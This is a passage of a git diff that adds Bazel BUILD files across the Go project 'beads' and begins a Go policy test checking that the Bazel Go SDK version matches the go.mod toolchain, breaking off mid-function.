"version_reconcile_boot_test.go", + "version_reconcile_integration_test.go", + "version_reconciler_contract_test.go", + "workspace_config_contract_test.go", + ], + embed = [":uow"], + deps = [ + "//backend/conformance", + "//internal/configfile", + "//internal/doltserver", + "//internal/hooks", + "//internal/procid", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/dbproxy/pidfile", + "//internal/storage/dbproxy/proxy", + "//internal/storage/dbproxy/server", + "//internal/storage/domain", + "//internal/storage/domain/db", + "//internal/storage/issueops", + "//internal/storage/schema", + "//internal/testutil", + "//internal/types", + "//internal/workapi", + "//internal/workapi/storereader", + "//issueops", + "@com_github_cenkalti_backoff_v4//:backoff", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + ], +) diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel new file mode 100644 index 000000000..7a4ad5fe7 --- /dev/null +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -0,0 +1,53 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "versioncontrolops", + srcs = [ + "automerge.go", + "backup.go", + "blocked_recompute.go", + "branches.go", + "clone.go", + "commit.go", + "compact.go", + "conflicts.go", + "db.go", + "envguards.go", + "fastforward.go", + "flatten.go", + "gc.go", + "mergesettle.go", + "remoterefs.go", + "remotes.go", + "version_control.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/versioncontrolops", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/githooksenv", + "//internal/gittraceenv", + "//internal/storage", + "//internal/storage/issueops", + "//internal/storage/kvkeys", + ], +) + +go_test( + name = "versioncontrolops_test", + srcs = [ + "automerge_test.go", + "backup_test.go", + "clone_test.go", + "commit_empty_test.go", + "conflicts_test.go", + "fastforward_test.go", + "gc_test.go", + "remotes_githooks_test.go", + "remotes_gittrace_test.go", + ], + embed = [":versioncontrolops"], + deps = [ + "//internal/githooksenv", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + ], +) diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel new file mode 100644 index 000000000..a2d88c3d7 --- /dev/null +++ b/internal/telemetry/BUILD.bazel @@ -0,0 +1,82 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "telemetry", + srcs = [ + "batch_applier.go", + "batch_closer.go", + "batch_creator.go", + "blockingannotator.go", + "bootstrapper.go", + "commenter.go", + "counter.go", + "cycle_detector.go", + "deleter.go", + "dependency_editor.go", + "edgereader.go", + "graph_counter.go", + "init_verifier.go", + "issue_claimer.go", + "issue_operations.go", + "issue_reader.go", + "memories.go", + "metadata_cas.go", + "querier.go", + "ready_claimer.go", + "ready_counter.go", + "relations.go", + "releaser.go", + "stats_reporter.go", + "storage.go", + "sweeper.go", + "telemetry.go", + "tree_walker.go", + "version_reconciler.go", + "workspace_config.go", + ], + importpath = "github.com/steveyegge/beads/internal/telemetry", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/types", + "//issueops", + "//memoryops", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel//semconv/v1.26.0:v1_26_0", + "@io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp//:otlpmetrichttp", + "@io_opentelemetry_go_otel_exporters_stdout_stdoutmetric//:stdoutmetric", + "@io_opentelemetry_go_otel_exporters_stdout_stdouttrace//:stdouttrace", + "@io_opentelemetry_go_otel_metric//:metric", + "@io_opentelemetry_go_otel_metric//noop", + "@io_opentelemetry_go_otel_sdk//resource", + "@io_opentelemetry_go_otel_sdk//trace", + "@io_opentelemetry_go_otel_sdk_metric//:metric", + "@io_opentelemetry_go_otel_trace//:trace", + "@io_opentelemetry_go_otel_trace//noop", + ], +) + +go_test( + name = "telemetry_test", + srcs = [ + "issue_claimer_test.go", + "issue_operations_test.go", + "issue_reader_test.go", + "role_accessor_decorator_test.go", + "storage_test.go", + "telemetry_test.go", + ], + embed = [":telemetry"], + deps = [ + "//internal/storage", + "//internal/storage/externaldeps", + "//issueops", + "//memoryops", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel_metric//noop", + "@io_opentelemetry_go_otel_trace//noop", + ], +) diff --git a/internal/templates/BUILD.bazel b/internal/templates/BUILD.bazel new file mode 100644 index 000000000..486d2d183 --- /dev/null +++ b/internal/templates/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "templates", + srcs = ["agent_skill.go"], + embedsrcs = [ + "skills/beads/SKILL.md", + "skills/beads/agents/openai.yaml", + ], + importpath = "github.com/steveyegge/beads/internal/templates", + visibility = ["//:__subpackages__"], +) diff --git a/internal/templates/agents/BUILD.bazel b/internal/templates/agents/BUILD.bazel new file mode 100644 index 000000000..edb3fc13a --- /dev/null +++ b/internal/templates/agents/BUILD.bazel @@ -0,0 +1,26 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "agents", + srcs = [ + "agents.go", + "render.go", + ], + embedsrcs = [ + "defaults/agents.md.tmpl", + "defaults/beads-section-codex.md", + "defaults/beads-section-minimal.md", + "defaults/beads-section.md", + ], + importpath = "github.com/steveyegge/beads/internal/templates/agents", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "agents_test", + srcs = [ + "agents_test.go", + "render_test.go", + ], + embed = [":agents"], +) diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel new file mode 100644 index 000000000..3e9d33a76 --- /dev/null +++ b/internal/testutil/BUILD.bazel @@ -0,0 +1,114 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "testutil", + srcs = [ + "container_provider.go", + "container_provider_windows.go", + "dockercontext.go", + "git_test_hooks.go", + "suite_temp.go", + "testdoltbranch.go", + "testdoltcommon.go", + "testdoltserver.go", + "testdoltserver_windows.go", + "tmpfs.go", + ], + importpath = "github.com/steveyegge/beads/internal/testutil", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/doltutil", + "@com_github_go_sql_driver_mysql//:mysql", + ] + select({ + "@rules_go//go/platform:aix": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:android": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:darwin": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:dragonfly": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:freebsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:illumos": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:ios": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:js": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:linux": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:netbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:openbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:osx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:plan9": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:qnx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:solaris": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go//exec", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "testutil_test", + srcs = [ + "dockercontext_test.go", + "suite_temp_test.go", + "testdoltbranch_test.go", + "testdoltserver_env_test.go", + "testdoltserver_unreachable_test.go", + "tmpfs_test.go", + ], + data = glob(["testdata/**"]), + embed = [":testutil"], +) diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel new file mode 100644 index 000000000..ae277b5e1 --- /dev/null +++ b/internal/testutil/fixtures/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "fixtures", + srcs = ["fixtures.go"], + importpath = "github.com/steveyegge/beads/internal/testutil/fixtures", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/dolt", + "//internal/types", + ], +) diff --git a/internal/timeparsing/BUILD.bazel b/internal/timeparsing/BUILD.bazel new file mode 100644 index 000000000..3455ac0bc --- /dev/null +++ b/internal/timeparsing/BUILD.bazel @@ -0,0 +1,22 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "timeparsing", + srcs = ["parser.go"], + importpath = "github.com/steveyegge/beads/internal/timeparsing", + visibility = ["//:__subpackages__"], + deps = [ + "@com_github_olebedev_when//:when", + "@com_github_olebedev_when//rules/common", + "@com_github_olebedev_when//rules/en", + ], +) + +go_test( + name = "timeparsing_test", + srcs = [ + "duration_test.go", + "nlp_test.go", + ], + embed = [":timeparsing"], +) diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel new file mode 100644 index 000000000..a4decc1f1 --- /dev/null +++ b/internal/tracker/BUILD.bazel @@ -0,0 +1,60 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "tracker", + srcs = [ + "engine.go", + "errors.go", + "multiproject.go", + "registry.go", + "store.go", + "tracker.go", + "types.go", + "uow_store.go", + ], + importpath = "github.com/steveyegge/beads/internal/tracker", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/uow", + "//internal/types", + "//internal/ui", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel_trace//:trace", + ], +) + +go_test( + name = "tracker_test", + srcs = [ + "engine_close_policy_test.go", + "engine_create_only_test.go", + "engine_external_ref_history_test.go", + "engine_history_gate_cgo_test.go", + "engine_pull_failure_test.go", + "engine_ratelimit_test.go", + "engine_selective_test.go", + "engine_test.go", + "multiproject_test.go", + "registry_test.go", + "store_test.go", + "test_helpers_pure_test.go", + "testmain_test.go", + "uow_store_engine_test.go", + ], + embed = [":tracker"], + deps = [ + "//internal/storage", + "//internal/storage/dolt", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/storage/issueops", + "//internal/storage/uow", + "//internal/testutil", + "//internal/types", + ], +) diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel new file mode 100644 index 000000000..2a1060557 --- /dev/null +++ b/internal/tracker/conformance/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "conformance", + srcs = [ + "http.go", + "run.go", + "store.go", + ], + importpath = "github.com/steveyegge/beads/internal/tracker/conformance", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/tracker", + "//internal/types", + ], +) + +go_test( + name = "conformance_test", + srcs = ["conformance_test.go"], + embed = [":conformance"], + deps = [ + "//internal/storage", + "//internal/tracker", + "//internal/types", + ], +) diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel new file mode 100644 index 000000000..01fe65e2d --- /dev/null +++ b/internal/types/BUILD.bazel @@ -0,0 +1,24 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "types", + srcs = [ + "id_generator.go", + "orphans.go", + "storage_ext.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/types", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "types_test", + srcs = [ + "explain_test.go", + "id_generator_test.go", + "storage_class_test.go", + "types_test.go", + ], + embed = [":types"], +) diff --git a/internal/ui/BUILD.bazel b/internal/ui/BUILD.bazel new file mode 100644 index 000000000..b28b57666 --- /dev/null +++ b/internal/ui/BUILD.bazel @@ -0,0 +1,33 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "ui", + srcs = [ + "pager.go", + "sanitize.go", + "styles.go", + "terminal.go", + ], + importpath = "github.com/steveyegge/beads/internal/ui", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/types", + "@land_charm_lipgloss_v2//:lipgloss", + "@org_golang_x_term//:term", + ], +) + +go_test( + name = "ui_test", + srcs = [ + "pager_test.go", + "sanitize_test.go", + "styles_test.go", + "terminal_test.go", + ], + embed = [":ui"], + deps = [ + "//internal/types", + "@land_charm_lipgloss_v2//:lipgloss", + ], +) diff --git a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel new file mode 100644 index 000000000..bb9d29bb0 --- /dev/null +++ b/internal/uimd/BUILD.bazel @@ -0,0 +1,21 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "uimd", + srcs = ["markdown.go"], + importpath = "github.com/steveyegge/beads/internal/uimd", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/ui", + "@com_github_charmbracelet_x_ansi//:ansi", + "@land_charm_glamour_v2//:glamour", + "@land_charm_glamour_v2//styles", + "@org_golang_x_term//:term", + ], +) + +go_test( + name = "uimd_test", + srcs = ["markdown_test.go"], + embed = [":uimd"], +) diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel new file mode 100644 index 000000000..711268577 --- /dev/null +++ b/internal/utils/BUILD.bazel @@ -0,0 +1,47 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "utils", + srcs = [ + "id_parser.go", + "issue_id.go", + "path.go", + "path_case_darwin.go", + "path_case_other.go", + "strings.go", + ], + importpath = "github.com/steveyegge/beads/internal/utils", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/types", + ] + select({ + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "utils_test", + srcs = [ + "id_parser_prefix_test.go", + "id_parser_test.go", + "id_parser_unit_test.go", + "issue_446_test.go", + "issue_id_test.go", + "path_case_test.go", + "path_test.go", + "strings_test.go", + "testmain_test.go", + ], + embed = [":utils"], + deps = [ + "//internal/storage/dolt", + "//internal/testutil", + "//internal/types", + ], +) diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel new file mode 100644 index 000000000..46bf8895d --- /dev/null +++ b/internal/validation/BUILD.bazel @@ -0,0 +1,32 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "validation", + srcs = [ + "bead.go", + "issue.go", + "template.go", + ], + importpath = "github.com/steveyegge/beads/internal/validation", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/types", + "//internal/utils", + ], +) + +go_test( + name = "validation_test", + srcs = [ + "bead_test.go", + "issue_test.go", + "template_lint_sections_test.go", + "template_test.go", + ], + embed = [":validation"], + deps = [ + "//internal/config", + "//internal/types", + ], +) diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel new file mode 100644 index 000000000..877ce8fce --- /dev/null +++ b/internal/workapi/BUILD.bazel @@ -0,0 +1,71 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "workapi", + srcs = [ + "bootstrap.go", + "count.go", + "delete.go", + "detail.go", + "doc.go", + "list.go", + "metadata.go", + "page.go", + "query.go", + "ready.go", + "release.go", + "sort.go", + "stats.go", + "sweep.go", + "versionreconcile.go", + "workspaceconfig.go", + ], + importpath = "github.com/steveyegge/beads/internal/workapi", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/query", + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/kvkeys", + "//internal/types", + "//internal/utils", + "//issueops", + ], +) + +go_test( + name = "workapi_test", + srcs = [ + "bootstrap_test.go", + "count_test.go", + "delete_test.go", + "detail_test.go", + "list_ephemeral_test.go", + "list_golden_test.go", + "list_keyset_test.go", + "list_pinned_test.go", + "list_ready_status_test.go", + "list_status_test.go", + "page_test.go", + "query_test.go", + "race_detector_off_test.go", + "race_detector_on_test.go", + "ready_count_test.go", + "ready_golden_test.go", + "ready_test.go", + "release_test.go", + "stats_test.go", + "sweep_test.go", + "versionreconcile_test.go", + "workspaceconfig_test.go", + ], + data = glob(["testdata/**"]), + embed = [":workapi"], + deps = [ + "//internal/storage", + "//internal/storage/domain", + "//internal/types", + "//issueops", + ], +) diff --git a/internal/workapi/storecounter/BUILD.bazel b/internal/workapi/storecounter/BUILD.bazel new file mode 100644 index 000000000..e200739bd --- /dev/null +++ b/internal/workapi/storecounter/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storecounter", + srcs = ["counter.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storecounter", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/types", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workapi/storequerier/BUILD.bazel b/internal/workapi/storequerier/BUILD.bazel new file mode 100644 index 000000000..72cb226c6 --- /dev/null +++ b/internal/workapi/storequerier/BUILD.bazel @@ -0,0 +1,13 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storequerier", + srcs = ["querier.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storequerier", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workapi/storereader/BUILD.bazel b/internal/workapi/storereader/BUILD.bazel new file mode 100644 index 000000000..16a5105dc --- /dev/null +++ b/internal/workapi/storereader/BUILD.bazel @@ -0,0 +1,25 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "storereader", + srcs = ["reader.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storereader", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/types", + "//internal/workapi", + "//issueops", + ], +) + +go_test( + name = "storereader_test", + srcs = ["reader_test.go"], + embed = [":storereader"], + deps = [ + "//internal/storage", + "//internal/types", + "//issueops", + ], +) diff --git a/internal/workapi/storereadycounter/BUILD.bazel b/internal/workapi/storereadycounter/BUILD.bazel new file mode 100644 index 000000000..8ab96877b --- /dev/null +++ b/internal/workapi/storereadycounter/BUILD.bazel @@ -0,0 +1,13 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storereadycounter", + srcs = ["counter.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storereadycounter", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workapi/storestats/BUILD.bazel b/internal/workapi/storestats/BUILD.bazel new file mode 100644 index 000000000..f29b27789 --- /dev/null +++ b/internal/workapi/storestats/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storestats", + srcs = ["reporter.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storestats", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/types", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workapi/storeversionreconciler/BUILD.bazel b/internal/workapi/storeversionreconciler/BUILD.bazel new file mode 100644 index 000000000..7d5b03eec --- /dev/null +++ b/internal/workapi/storeversionreconciler/BUILD.bazel @@ -0,0 +1,13 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storeversionreconciler", + srcs = ["versionreconciler.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storeversionreconciler", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workapi/storeworkspaceconfig/BUILD.bazel b/internal/workapi/storeworkspaceconfig/BUILD.bazel new file mode 100644 index 000000000..33fe08f81 --- /dev/null +++ b/internal/workapi/storeworkspaceconfig/BUILD.bazel @@ -0,0 +1,13 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storeworkspaceconfig", + srcs = ["workspaceconfig.go"], + importpath = "github.com/steveyegge/beads/internal/workapi/storeworkspaceconfig", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/workapi", + "//issueops", + ], +) diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel new file mode 100644 index 000000000..54fbdad7d --- /dev/null +++ b/internal/workspacegate/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "workspacegate", + srcs = ["gate.go"], + importpath = "github.com/steveyegge/beads/internal/workspacegate", + visibility = ["//:__subpackages__"], + deps = ["//internal/lockfile"], +) + +go_test( + name = "workspacegate_test", + srcs = ["gate_test.go"], + embed = [":workspacegate"], +) diff --git a/internal/worktreeremove/BUILD.bazel b/internal/worktreeremove/BUILD.bazel new file mode 100644 index 000000000..ea9020fcb --- /dev/null +++ b/internal/worktreeremove/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "worktreeremove", + srcs = ["policy.go"], + importpath = "github.com/steveyegge/beads/internal/worktreeremove", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "worktreeremove_test", + srcs = ["policy_test.go"], + embed = [":worktreeremove"], +) diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel new file mode 100644 index 000000000..c7e7ac0b5 --- /dev/null +++ b/issueops/BUILD.bazel @@ -0,0 +1,56 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "issueops", + srcs = [ + "batchapplier.go", + "batchcloser.go", + "batchcreator.go", + "blockedstate.go", + "blockingannotator.go", + "bootstrapper.go", + "claimer.go", + "commenter.go", + "counter.go", + "cycledetector.go", + "deleter.go", + "dependencyeditor.go", + "edgereader.go", + "errors.go", + "graphcounter.go", + "importer.go", + "initverifier.go", + "issueops.go", + "metadatacas.go", + "querier.go", + "reader.go", + "reader_ready_scope.go", + "readyclaimer.go", + "readycounter.go", + "relations.go", + "releaser.go", + "statsreporter.go", + "sweeper.go", + "treewalker.go", + "versionreconciler.go", + "workspaceconfig.go", + ], + importpath = "github.com/steveyegge/beads/issueops", + visibility = ["//visibility:public"], + deps = [ + "//beadserrors", + "//internal/types", + ], +) + +go_test( + name = "issueops_test", + srcs = [ + "claimer_external_test.go", + "issueops_external_test.go", + ], + deps = [ + ":issueops", + "//:beads", + ], +) diff --git a/journalops/BUILD.bazel b/journalops/BUILD.bazel new file mode 100644 index 000000000..875174526 --- /dev/null +++ b/journalops/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "journalops", + srcs = [ + "doc.go", + "errors.go", + "journal.go", + ], + importpath = "github.com/steveyegge/beads/journalops", + visibility = ["//visibility:public"], +) diff --git a/memoryops/BUILD.bazel b/memoryops/BUILD.bazel new file mode 100644 index 000000000..e7c7f072e --- /dev/null +++ b/memoryops/BUILD.bazel @@ -0,0 +1,13 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "memoryops", + srcs = [ + "doc.go", + "errors.go", + "memories.go", + ], + importpath = "github.com/steveyegge/beads/memoryops", + visibility = ["//visibility:public"], + deps = ["//beadserrors"], +) diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel new file mode 100644 index 000000000..c2126041b --- /dev/null +++ b/plugins/beads/BUILD.bazel @@ -0,0 +1,9 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "beads", + srcs = ["copilot_manifest.go"], + embedsrcs = [".copilot-plugin/plugin.json"], + importpath = "github.com/steveyegge/beads/plugins/beads", + visibility = ["//visibility:public"], +) diff --git a/schema/BUILD.bazel b/schema/BUILD.bazel new file mode 100644 index 000000000..c2de6036f --- /dev/null +++ b/schema/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "schema", + srcs = ["schema.go"], + importpath = "github.com/steveyegge/beads/schema", + visibility = ["//visibility:public"], + deps = ["//internal/storage/schema"], +) + +go_test( + name = "schema_test", + srcs = ["schema_test.go"], + deps = [":schema"], +) diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel new file mode 100644 index 000000000..472aa9c2b --- /dev/null +++ b/scripts/BUILD.bazel @@ -0,0 +1,24 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "scripts_test", + srcs = [ + "bazel_policy_test.go", + "check_build_tags_test.go", + "check_testing_short_test.go", + "ci_capability_selector_test.go", + "ci_workflow_apt_get_timeout_test.go", + "ci_workflow_test.go", + "complexity_script_test.go", + "conformance_script_test.go", + "install_dolt_test.go", + "pull_dolt_image_test.go", + "release_script_test.go", + "test_script_test.go", + ], + data = ["//:bazel_policy_files"], + deps = [ + "//internal/formula", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go new file mode 100644 index 000000000..4226a7a98 --- /dev/null +++ b/scripts/bazel_policy_test.go @@ -0,0 +1,498 @@ +package scripts_test + +import ( + "bufio" + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "testing" +) + +// Policy tests for the side-by-side Bazel configuration. They are plain Go +// tests so they run under `go test ./scripts` and `bazel test //scripts:...` +// alike. Each invariant is a pure check function exercised against the real +// repository files and against synthetic fixtures that break it. + +// bazelPolicyRoot returns the repository root holding the Bazel policy files. +// Under `bazel test` those files are declared as data (//:bazel_policy_files) +// and resolved from the runfiles tree; under `go test` the source checkout is +// used directly. +func bazelPolicyRoot(t *testing.T) string { + t.Helper() + if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { + workspace := os.Getenv("TEST_WORKSPACE") + if workspace == "" { + workspace = "_main" + } + return filepath.Join(srcdir, workspace) + } + return sourceRepoRoot(t) +} + +func readPolicyFile(t *testing.T, root, name string) string { + t.Helper() + data, err := os.ReadFile(filepath.Join(root, name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + return string(data) +} + +// --- go_sdk version == go.mod toolchain ------------------------------------- + +var ( + goModToolchainRe = regexp.MustCompile(`(?m)^toolchain\s+go(\S+)\s*$`) + goModGoRe = regexp.MustCompile(`(?m)^go\s+(\S+)\s*$`) + goSDKDownloadRe = regexp.MustCompile(`(?s)go_sdk\.download\((.*?)\)`) + starlarkVersion = regexp.MustCompile(`\bversion\s*=\s*"([^"]+)"`) +) + +// goModToolchainVersion returns the Go version go.mod selects: the toolchain +// directive when present, otherwise the go directive. +func goModToolchainVersion(goMod string) (string, error) { + if m := goModToolchainRe.FindStringSubmatch(goMod); m != nil { + return m[1], nil + } + if m := goModGoRe.FindStringSubmatch(goMod); m != nil { + return m[1], nil + } + return "", errors.New("go.mod has neither a toolchain nor a go directive") +} + +// moduleGoSDKVersions returns the version of every go_sdk.download(...) call. +func moduleGoSDKVersions(module string) []string { + var versions []string + for _, call := range goSDKDownloadRe.FindAllStringSubmatch(stripStarlarkComments(module), -1) { + if m := starlarkVersion.FindStringSubmatch(call[1]); m != nil { + versions = append(versions, m[1]) + } else { + versions = append(versions, "") + } + } + return versions +} + +func stripStarlarkComments(src string) string { + var out strings.Builder + for _, line := range strings.Split(src, "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "#") { + continue + } + out.WriteString(line) + out.WriteByte('\n') + } + return out.String() +} + +func checkGoSDKMatchesToolchain(module, goMod string) error { + want, err := goModToolchainVersion(goMod) + if err != nil { + return err + } + versions := moduleGoSDKVersions(module) + if len(versions) == 0 { + return errors.New("MODULE.bazel has no go_sdk.download(...) call") + } + for _, got := range versions { + if got != want { + return 